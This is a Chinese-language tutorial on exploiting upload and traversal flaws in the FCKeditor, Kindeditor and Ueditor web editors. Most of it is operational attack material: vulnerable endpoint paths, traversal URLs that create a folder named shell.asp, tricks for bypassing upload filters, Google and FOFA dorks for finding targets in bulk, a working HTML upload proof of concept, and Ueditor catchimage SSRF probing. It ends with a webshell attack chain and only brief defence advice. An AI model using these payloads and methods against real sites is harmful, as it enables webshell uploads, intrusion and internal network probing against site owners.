三款主流编辑器漏洞整理分析
字数 1662 2025-08-07 08:22:09

三款主流编辑器漏洞整理分析教学文档

一、FCKeditor漏洞分析

1.1 版本信息获取

  • 查看版本号路径:
    • /fckeditor/editor/dialog/fck_about.html
    • /fckeditor/_whatsnew.html

1.2 常见测试上传地址

/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html

1.3 上传地址分类

1.3.1 connector文件

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

1.3.2 browser.html文件

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

1.4 目录遍历漏洞

  • 修改CurrentFolder参数使用../../进入不同目录
  • 示例:
    FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
    
  • 爆绝对路径:
    FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp
    
  • 直接浏览盘符:
    /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
    

1.5 上传绕过技巧

  1. Windows系统环境下:

    • 提交shell.php+空格绕过
    • 上传shell.asp;.jpgshell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
  2. FCKeditor v2.4.3默认拒绝上传类型:

    html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
    
    • 绕过方法:
      • Windows下在上传文件后面加个.突破
      • 利用2003解析漏洞建立xxx.asp文件夹或上传xx.asp;.jpg
  3. FCKeditor 2.0 <= 2.2:

    • 允许上传asacerphp2php4incpwmlpht后缀文件
    • Apache下可利用"Apache文件名解析缺陷漏洞"
  4. .htaccess文件上传:

    • 上传.htaccess文件让.jpg以PHP格式解析
    • 先上传.htaccess文件,再上传图片马

1.6 漏洞利用方法

  1. 批量搜索:
    • FOFA/Google搜索:inurl:Fckeditor/editorapp="CKEditor-fckeditor"
  2. 上传木马:
    • 直接上传aspx木马文件
    • 无法直接上传时,创建1.asp文件夹,再上传图片马

二、Kindeditor漏洞分析(<=4.1.5)

2.1 漏洞详情

  • 支持上传格式:doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf
  • 支持语言:Java、.NET、PHP、ASP等
  • uploadbutton.html用于文件上传功能页面

2.2 上传路径

/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php

2.3 版本信息查看

http://www.xxx.org/kindeditor/kindeditor.js

2.4 漏洞利用方法

  1. 批量搜索:

    inurl:/examples/uploadbutton.html
    inurl:/php/upload_json.php
    inurl:/asp.net/upload_json.ashx
    inurl://jsp/upload_json.jsp
    inurl://asp/upload_json.asp
    kindeditor
    
  2. 验证上传点:

    kindeditor/asp/upload_json.asp?dir=file
    kindeditor/asp.net/upload_json.ashx?dir=file
    kindeditor/jsp/upload_json.jsp?dir=file
    kindeditor/php/upload_json.php?dir=file
    
  3. 构造上传POC(HTML格式):

    <html><head>
    <title>Uploader</title>
    <script src="http://ip/kindeditor/kindeditor.js"></script>
    <script>
    KindEditor.ready(function(K) {
    var uploadbutton = K.uploadbutton({
    button : K('#uploadButton')[0],
    fieldName : 'imgFile',
    url : 'http://ip/kindeditor/asp.net/upload_json.ashx?dir=file',
    afterUpload : function(data) {
    if (data.error === 0) {
    var url = K.formatUrl(data.url, 'absolute');
    K('#url').val(url);}
    },
    });
    uploadbutton.fileBox.change(function(e) {
    uploadbutton.submit();
    });
    });
    </script></head><body>
    <div class="upload">
    <input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
    <input type="button" id="uploadButton" value="Upload" />
    </div>
    </body>
    </html>
    

三、Ueditor漏洞分析

3.1 受影响版本

  • .NET: 1.3.6 || 1.5.0 || <=1.4.3
  • PHP: <=1.4.3
  • JSP: <=1.4.3

3.2 漏洞类型

  1. 任意文件上传
  2. 盲SSRF
  3. XML上传导致XSS

3.3 任意文件上传漏洞分析

  1. 漏洞文件:net/controller.ashx
  2. 关键参数:action=catchimage(远程文件抓取)
  3. 漏洞原理:
    • source值不为空时执行抓取
    • 检查响应头ContentType是否包含image
    • 可伪造ContentType:image/jpeg抓取任意类型文件

3.4 SSRF漏洞

  • 小于1.4.3版本未过滤IP,造成SSRF漏洞
  • 已修复版本会过滤IP

3.5 漏洞利用方法

  1. 批量搜索:FOFA搜索ueditor
  2. 测试路径:UEditor/controller.ashx?action=catchimage
  3. 利用POST请求上传文件
  4. SSRF利用:
    • 探测ip+端口source[]=ip+端口
    • 爆破模块检测:200存在,500不存在
    • 无漏洞版本会返回state:INVALID_URL
  5. 组合利用:
    • 结合内网redis、log4j等漏洞

四、总结

4.1 漏洞利用流程

  1. 识别编辑器类型和版本
  2. 查找对应的测试路径
  3. 尝试上传或目录遍历
  4. 根据限制尝试绕过方法
  5. 利用成功上传的webshell或SSRF进一步渗透

4.2 防御建议

  1. 及时更新编辑器到最新版本
  2. 限制上传文件类型
  3. 对上传文件进行重命名
  4. 禁用不必要的功能接口
  5. 对用户输入进行严格过滤
  6. 设置文件上传目录不可执行
三款主流编辑器漏洞整理分析教学文档 一、FCKeditor漏洞分析 1.1 版本信息获取 查看版本号路径: /fckeditor/editor/dialog/fck_about.html /fckeditor/_whatsnew.html 1.2 常见测试上传地址 1.3 上传地址分类 1.3.1 connector文件 1.3.2 browser.html文件 1.4 目录遍历漏洞 修改CurrentFolder参数使用 ../../ 进入不同目录 示例: 爆绝对路径: 直接浏览盘符: 1.5 上传绕过技巧 Windows系统环境下: 提交 shell.php+空格 绕过 上传 shell.asp;.jpg 变 shell_asp;.jpg ,然后继续上传同名文件可变为 shell.asp;(1).jpg FCKeditor v2.4.3默认拒绝上传类型: 绕过方法: Windows下在上传文件后面加个 . 突破 利用2003解析漏洞建立 xxx.asp 文件夹或上传 xx.asp;.jpg FCKeditor 2.0 <= 2.2: 允许上传 asa 、 cer 、 php2 、 php4 、 inc 、 pwml 、 pht 后缀文件 Apache下可利用"Apache文件名解析缺陷漏洞" .htaccess 文件上传: 上传 .htaccess 文件让 .jpg 以PHP格式解析 先上传 .htaccess 文件,再上传图片马 1.6 漏洞利用方法 批量搜索: FOFA/Google搜索: inurl:Fckeditor/editor 或 app="CKEditor-fckeditor" 上传木马: 直接上传aspx木马文件 无法直接上传时,创建 1.asp 文件夹,再上传图片马 二、Kindeditor漏洞分析( <=4.1.5) 2.1 漏洞详情 支持上传格式: doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf 支持语言:Java、.NET、PHP、ASP等 uploadbutton.html 用于文件上传功能页面 2.2 上传路径 2.3 版本信息查看 2.4 漏洞利用方法 批量搜索: 验证上传点: 构造上传POC(HTML格式): 三、Ueditor漏洞分析 3.1 受影响版本 .NET: 1.3.6 || 1.5.0 || <=1.4.3 PHP: <=1.4.3 JSP: <=1.4.3 3.2 漏洞类型 任意文件上传 盲SSRF XML上传导致XSS 3.3 任意文件上传漏洞分析 漏洞文件: net/controller.ashx 关键参数: action=catchimage (远程文件抓取) 漏洞原理: 当 source 值不为空时执行抓取 检查响应头 ContentType 是否包含 image 可伪造 ContentType:image/jpeg 抓取任意类型文件 3.4 SSRF漏洞 小于1.4.3版本未过滤IP,造成SSRF漏洞 已修复版本会过滤IP 3.5 漏洞利用方法 批量搜索:FOFA搜索 ueditor 测试路径: UEditor/controller.ashx?action=catchimage 利用POST请求上传文件 SSRF利用: 探测 ip+端口 : source[]=ip+端口 爆破模块检测:200存在,500不存在 无漏洞版本会返回 state:INVALID_URL 组合利用: 结合内网redis、log4j等漏洞 四、总结 4.1 漏洞利用流程 识别编辑器类型和版本 查找对应的测试路径 尝试上传或目录遍历 根据限制尝试绕过方法 利用成功上传的webshell或SSRF进一步渗透 4.2 防御建议 及时更新编辑器到最新版本 限制上传文件类型 对上传文件进行重命名 禁用不必要的功能接口 对用户输入进行严格过滤 设置文件上传目录不可执行